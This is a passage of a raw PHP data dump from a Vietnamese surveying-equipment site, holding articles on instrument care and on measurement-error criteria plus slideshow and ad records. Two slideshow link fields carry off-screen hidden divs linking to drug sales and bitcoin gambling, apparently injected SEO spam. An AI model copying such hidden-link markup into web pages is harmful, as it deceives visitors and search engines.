'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;">Bảo quản thiết bị trắc địa đúng cách rất quan trọng đối với các kĩ sư đo đạc. Nhất là khi giá trị của các thiết bị như máy toàn đạc điện tử, máy thủy bình,… không hề nhỏ. Bảo quản thiết bị trắc địa tốt sẽ giúp tiết kiệm nhân công, thời gian, chi phí cho các công trình xây dựng. </span></span>', 'content' => '<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><strong>Thiết bị trắc địa</strong> cần được bảo quản cẩn thận để phát huy tối đa tính năng sử dụng của nó cũng như giảm chi phí đầu tư. Trước khi sử dụng thiết bị, hãy dành một ít thời gian để đọc và làm theo hướng dẫn bảo trì sau:<br /> - Không để thiết bị dưới ánh mặt trời trực tiếp hoặc trong xe kín trong thời gian dài. Nhiệt độ quá nóng có thể làm giảm hiệu quả của nó.<br /> - Nếu thiết bị đã được sử dụng trong điều kiện ẩm ướt, ngay lập tức lau sạch bất kỳ độ ẩm và làm khô thiết bị hoàn toàn trước khi cho lại thiết bị vào hộp đựng.<br /> - Thiết bị điện tử nhạy cảm đã được bảo vệ tốt trong hộp đựng chống lại bụi và độ ẩm.<br /> Tuy nhiên, nếu bụi hoặc hơi ẩm bám vào dụng cụ, có thể gây ra hư hại nghiêm trọng. Vì vậy, hãy chắc chắn thiết bị của bạn được bỏ vào hộp ngay sau khi sử dụng và vệ sinh.<br /> - Những thay đổi đột ngột về nhiệt độ có thể làm mờ ống kính và giảm đáng kể mức đo được khoảng cách hoặc gây ra lỗi hệ thống điện. Nếu có sự thay đổi đột ngột về nhiệt độ, để dụng cụ trong hộp đựng kín ở vị trí ấm cho đến khi nhiệt độ của thiết bị trở về nhiệt độ phòng.<br /> - Không bảo quản thiết bị trắc địa ở những nơi nóng hoặc ẩm ướt. Đặc biệt, bạn phải lưu trữ bộ pin ở nơi khô ráo ở nhiệt độ dưới 30 ° C (86 ° F). Nhiệt độ cao hoặc độ ẩm quá mức có thể khiến nấm mốc phát triển trên các ống kính. Nó cũng có thể làm cho thị kính điện tử bị mờ đi và do đó dẫn đến việc khó bắt mục tiêu.<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/DTM 322(1).jpg" style="width: 400px; height: 391px;" /><br /> - Khi bảo quản thiết bị ở những nơi có nhiệt độ cực thấp, hãy để hộp đựng mở.<br /> - Khi điều chỉnh các ốc cân bằng máy, hãy đặt vị trí càng gần vị trí trung tâm của ốc cân bằng máy.<br /> - Không sử dụng dung môi hữu cơ (chẳng hạn như ether hoặc chất pha loãng sơn) để làm sạch các bộ phận phi kim loại của thiết bị (chẳng hạn như bàn phím hoặc các bề mặt được sơn của máy). Làm như vậy có thể dẫn đến đổi màu bề mặt, hoặc lột các ký tự logo. Làm sạch những bộ phận này chỉ bằng một bông gòn, vải hoặc khăn giấy, thấm nhẹ bằng nước hoặc chất tẩy nhẹ.<br /> - Để vệ sinh ống kính quang học, hãy lau nhẹ bằng một miếng vải mềm hoặc bông gòn được thấm cồn.<br /> - Trước khi gắn pin, hãy chắc chắn rằng bề mặt tiếp xúc trên bề mặt pin và dụng cụ đã được lau chùi sạch sẽ.<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/HOP MAY_02 B40A(2).jpg" /><br /> - Hộp đựng được thiết kế kín nước, nhưng bạn không nên để nó tiếp xúc với mưa lớn.<br /> <br /> Bảo quản thiết bị trắc địa là một trong những khâu quan trọng giúp việc đo đạc được chính xác. Nó giúp hỗ trợ giảm chi phí đầu tư cũng như chi phí sửa chữa máy. Hy vọng những thông tin trên sẽ hữu ích cho bạn.<br /> </span></span>', 'images' => '201905030810258d806bbec8ab9ba5235e121c05e3154a.jpg', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-05-03', 'modified' => '2025-08-18', 'status' => '1', 'view' => '75066', 'slug' => 'cach-bao-quan-thiet-bi-trac-dia-dung-cach', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '939', 'rght' => '940', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 3 => array( 'Post' => array( 'id' => '536', 'name' => 'Các loại sai số, tiêu chí đánh giá độ chính xác kết quả đo', 'code' => null, 'alias' => 'cac-loai-sai-so-tieu-chi-danh-gia-do-chinh-xac-ket-qua-do', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '', 'content' => '<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; font-weight: 700;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">1. Các loại sai số trong đo đạc.</em></span></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">a) Sai số sai lầm.</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Sai số sai lầm là do người đo thiếu cẩn thận trong khi đo, hoặc kỹ thuật đo không bảo đảm. Sai số này thường có giá trị tương đối lớn.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Khắc phục: đổi người đo</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">b) Sai số hệ thống:</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Là những sai số do độ chính xác của máy và không bảo đảm hoặc do thói quen, thị lực của người đo.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Sai số hệ thống thường có dấu và giá trị không đổi.</span></span></div> <p style="box-sizing: border-box; margin: 0px 0px 10px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> </p> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Loại trừ sai số hệ thống:</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Nếu do máy thì chúng ta có thể kiểm nghiệm, xác định giá trị sai số của máy rồi lấy kết quả đo trừ đi giá trị sai số đó.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- nếu do người đo thì chúng ta có thể kiểm nghiện sai số của người bằng cách so sánh kết quả của người đo với một vài người đo khác để biết được mức độ sai khác nhau về kết quả, sau đó lấy kết quả đo trừ đi giá trị sai khác đó.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">c) Sai số ngẫu nhiên.</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Là những sai số xuất hiện trong kết quả đo một cách ngẫu nhiên mà không thể xác định được quy luật cũng như giá trị và nguyên nhân của sai số đó.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Sai số ngẫu nhiên không thể loại trừ được, tuy nhiên qua nghiên cứu cho thấy sai số ngẫu nhiên có những tính chất sau đây:</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> - Các giá trị tuyệt đối của sai số ngẫu nhiên không vượt quá một giá trị nhất định nào đó.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Các giá trị sai số ngẫu nhiên càng nhỏ thì có khả năng xuất hiện càng nhiều, còn giá trị càng lớn thì xuất hiện càng ít.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Sai số ngẫu nhiên mang giá trị dương (+) và sai số ngẫu nhiên mang giá trị âm (-) có xác suất xuất hiện bằng nhau khi số lần đo tiến tới vô cùng.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Tổng đại số của các giá trị sai số ngẫu nhiên của n lần đo cho một đại lượng là bằng không khi:<a href="https://4.bp.blogspot.com/-xRibgiac6uE/Ur6R6Z6lB6I/AAAAAAAADeo/LSe-3TIrzM4/s1600/gisgpsrs-trac-dia-co-so.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://4.bp.blogspot.com/-xRibgiac6uE/Ur6R6Z6lB6I/AAAAAAAADeo/LSe-3TIrzM4/s1600/gisgpsrs-trac-dia-co-so.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; font-weight: 700;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">2. Các tiêu chí đánh giá độ chính xác kết quả đo.</em></span></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">a) Sai số trung bình cộng (kí hiệu là s): được tính theo công thức sau:</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; clear: both;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><a href="https://4.bp.blogspot.com/-R8MMROfkfWU/Ur6SpdB55TI/AAAAAAAADew/MkE9uEdOJ3Y/s1600/gisgpsrs-trac-dia-co-so-sai-so.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://4.bp.blogspot.com/-R8MMROfkfWU/Ur6SpdB55TI/AAAAAAAADew/MkE9uEdOJ3Y/s1600/gisgpsrs-trac-dia-co-so-sai-so.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Trong đó: s- sai số trung bình cộng</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> </div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; clear: both;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> <a href="https://2.bp.blogspot.com/-XitZG4vs5lY/Ur6TBEfaApI/AAAAAAAADe4/0ebiserIDsY/s1600/gisgpsrs-sai-so-do.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://2.bp.blogspot.com/-XitZG4vs5lY/Ur6TBEfaApI/AAAAAAAADe4/0ebiserIDsY/s1600/gisgpsrs-sai-so-do.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a>- sai số ngấu nhiên của lần đo thứ i</span></span></div> <p style="box-sizing: border-box; margin: 0px 0px 10px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> </p> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> n – số lần đo</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">b) Sai số trung phương (kí hiệu là m): được tính theo công thức:</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; clear: both;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><a href="https://3.bp.blogspot.com/-q6MGq8qVYW8/Ur6Tijo7boI/AAAAAAAADfA/34rOoWyxlOg/s1600/gisgpsrs-sai-so-trung-phuong.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://3.bp.blogspot.com/-q6MGq8qVYW8/Ur6Tijo7boI/AAAAAAAADfA/34rOoWyxlOg/s1600/gisgpsrs-sai-so-trung-phuong.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Trong đó: m – sai số trung phương</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> </div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; clear: both;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> <a href="https://3.bp.blogspot.com/-XitZG4vs5lY/Ur6TBEfaApI/AAAAAAAADe8/RFQOzCDHS1Y/s1600/gisgpsrs-sai-so-do.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://3.bp.blogspot.com/-XitZG4vs5lY/Ur6TBEfaApI/AAAAAAAADe8/RFQOzCDHS1Y/s1600/gisgpsrs-sai-so-do.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a>- sai số ngấu nhiên của lần đo thứ i</span></span></div> <p style="box-sizing: border-box; margin: 0px 0px 10px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> </p> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> n – số lần đo</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">c) Sai số xác suất (kí hiệu là p)</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Trong dãy kết quả đo nếu sắp xếp các sai số theo giá trị tuyệt đối từ bé đến lớn thì sai số xác suất p có giá trị của sai số đứng giữa về thứ tự sắp xếp.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Khi nghiên cứu về sai số trung bình cộng (s), sai số trung phương (m) và sai số xác suất (p) thấy chúng có mối quan hệ: p/s/m - tương ứng là 0,67/0,8/1,0</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Nếu số lần đo càng nhiều thì tỷ số này càng đúng, dựa vào tỷ số này người tư có thể tính nhanh các giá trị của sai số trung bình cộng (s), sai số trung phương (m) thông qua giá trị của sai số xác suất (p)</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">d) Sai số giới hạn (kí hiệu là f)</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Nghiên cứu thống kê cho thấy:</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Cứ 1000 sai số thực thì có 3 giá trị si số vượt qua giới hạn ba lần giá trị sai số trung phương m. Trong 100 sai số thực thì có năm giá trị v]ợt quá giới hạn hai lần giá trị của sai số trung phương m.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Vì vậy người ta thường chọn sai số giới hạn bằng 3 lần sai số trung phương</span></span></div> <div align="center" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">f = 3m</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Trong trường hợp yêu cầu độ chính xác cao thì chọn sai số giới hạn bằng 2 lần sai số trung phương.</span></span></div> <div align="center" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">f = 2m</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Như vậy trong quá trình tính toán nếu giá trị nào vượt quá sai số giới hạn thì bị coi là sai số sai lầm và bị loại ra khỏi kết quả đo.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">e) Sai số tương đối (kí hiệu là <span style="box-sizing: border-box; margin: 0px; padding: 0px; font-weight: 700;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">1/T</em></span>) là tỷ số giữa sai số trung phương và giá trị thực của đại lượng đo (L).</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; clear: both;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><a href="https://2.bp.blogspot.com/-gSCgrAByN9M/Ur6UM1jjS8I/AAAAAAAADfI/mkKKcoc2Ex8/s1600/gisgpsrs-sai-so-tuong-doi.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://2.bp.blogspot.com/-gSCgrAByN9M/Ur6UM1jjS8I/AAAAAAAADfI/mkKKcoc2Ex8/s1600/gisgpsrs-sai-so-tuong-doi.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Sai số tương đối dùng để so sánh mức độ sai số với giá trị thực của đại lượng đo:</span></span></div> ', 'images' => '201904250406260790335a670cb13c2fdb67fe2f8df9ba.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-04-25', 'modified' => '2025-08-18', 'status' => '1', 'view' => '83021', 'slug' => 'cac-loai-sai-so-tieu-chi-danh-gia-do-chinh-xac-ket-qua-do', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '937', 'rght' => '938', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ) ) $duandatrienkhai = array( (int) 0 => array( 'Advertisement' => array( 'id' => '49', 'name' => null, 'link' => '', 'images' => null, 'display' => '3', 'created' => '2022-04-13', 'modified' => '2022-04-26', 'status' => '1', 'pos' => '0', 'content' => null, 'slug' => null, 'lft' => '11', 'rght' => '12' ) ), (int) 1 => array( 'Advertisement' => array( 'id' => '48', 'name' => null, 'link' => '', 'images' => '20190711121014468fcab5a34b87b67951ec18c257f13a.png', 'display' => '3', 'created' => '2019-07-11', 'modified' => '2019-07-11', 'status' => '1', 'pos' => '0', 'content' => null, 'slug' => null, 'lft' => '9', 'rght' => '10' ) ), (int) 2 => array( 'Advertisement' => array( 'id' => '47', 'name' => null, 'link' => '', 'images' => '20190711121036d3f1b378428c2328a4bb143d22a3d53b.png', 'display' => '3', 'created' => '2019-06-18', 'modified' => '2019-07-11', 'status' => '1', 'pos' => '0', 'content' => null, 'slug' => null, 'lft' => '7', 'rght' => '8' ) ) ) $slideshow = array( (int) 0 => array( 'Slideshow' => array( 'id' => '69', 'name' => '', 'images' => null, 'created' => '2019-07-11 10:23:46', 'modified' => '2022-04-16 00:00:00', 'status' => '1', 'pos' => '0', 'type' => 'intro', 'link' => '', 'content' => '', 'shortdes' => '', 'content_eng' => '', 'shortdes_eng' => '', 'name_eng' => '', 'name_tq' => '', 'shortdes_tq' => '', 'content_tq' => '' ) ), (int) 1 => array( 'Slideshow' => array( 'id' => '68', 'name' => '', 'images' => '201907111208539ebd41e6cbc1e14780805f6fc0d65867.gif', 'created' => '2019-07-11 10:22:33', 'modified' => '2021-05-13 00:00:00', 'status' => '1', 'pos' => '0', 'type' => 'intro', 'link' => '<div style="position:absolute;top: -1286px;">Buy <a href="http://contest-sport.com/sport-products/anastrazolos-1/"> Anastrozole directly from the manufacturer in USA </a> and without intermediaries.</div>', 'content' => '', 'shortdes' => '', 'content_eng' => '', 'shortdes_eng' => '', 'name_eng' => '', 'name_tq' => '', 'shortdes_tq' => '', 'content_tq' => '' ) ), (int) 2 => array( 'Slideshow' => array( 'id' => '66', 'name' => '', 'images' => '2019071110173758daf01bf616370befe2ad36e8391dfa.png', 'created' => '2019-07-11 10:09:25', 'modified' => '2022-04-15 00:00:00', 'status' => '1', 'pos' => '0', 'type' => 'intro', 'link' => '<div style="position:absolute;top: -1286px;">Play <a href="https://windice.io/plinko">bitcoin plinko</a> to hit the jackpot today!</div>', 'content' => '', 'shortdes' => '', 'content_eng' => '', 'shortdes_eng' => '', 'name_eng' => '', 'name_tq' => '', 'shortdes_tq' => '', 'content_tq' => '' ) ) ) $adv_khuyenmai = array( 'Advertisement' => array( 'id' => '1', 'name' => null, 'link' => '', 'images' => '20190618044702f2726adc12fc8d21c875c9ee5274335e.png', 'display' => '5', 'created' => '2015-11-12', 